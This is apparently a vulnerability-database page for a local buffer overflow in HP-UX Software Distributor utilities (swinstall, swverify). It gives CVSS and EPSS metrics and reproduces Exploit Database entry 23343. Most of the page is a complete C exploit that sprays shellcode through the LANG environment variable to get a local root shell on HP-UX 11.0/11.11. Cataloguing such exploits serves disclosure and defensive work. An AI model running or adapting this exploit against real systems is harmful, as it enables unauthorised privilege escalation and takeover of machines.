Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 23343
Publication date : 2002-12-10 23h00 +00:00
Author : watercloud
EDB Verified : Yes
// source: https://www.securityfocus.com/bid/8986/info
HP has reported that some Software Distributor (SD) utilities are prone to a locally exploitable buffer-overrun vulnerability. Affected utilities include swinstall(1M) and swverify(1M).
/*
Program : x_hpux_11i_sw.c
Use : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
Complie : cc x_hpux_11i_sw.c -o x_sw ;./x_sw ( not use gcc for some system)
Usage : ./x_sw [ off ]
Tested : HP-UX B11.11 & HP-UX B11.0
Author : watercloud [@] xfocus.org
Date : 2002-12-11
Note : Use as your own risk !!
*/
#include<stdio.h>
#define T_LEN 2124
#define BUFF_LEN 1688
#define NOP 0x0b390280
char shellcode[]=
"\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
"/bin/shA";
long addr;
char buffer_env[2496];
char buffer[T_LEN];
void main(argc,argv)
int argc;
char ** argv;
{
int addr_off = 8208 ;
long addr_e = 0;
int n=BUFF_LEN/4,i=0;
long * ap = (long *) &buffer[BUFF_LEN];
char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
long * np = (long *) buffer;
if(argc >0)
addr_off += atoi(argv[1]);
addr = ( (long) &addr_off +addr_off) /4 * 4 +4;
for(i=0;i<n;np[i++]=NOP);
memcpy(sp,shellcode,strlen(shellcode));
for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0';
sprintf(buffer_env,"LANG=AAA%s",buffer);
putenv(buffer_env);
execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
/* if false ,test swverify. */
execl("/usr/sbin/swverify","swverify",NULL);
}
Products Mentioned
Configuraton 0
Hp>>Hp-ux >> Version 11.00
Hp>>Hp-ux >> Version 11.11
References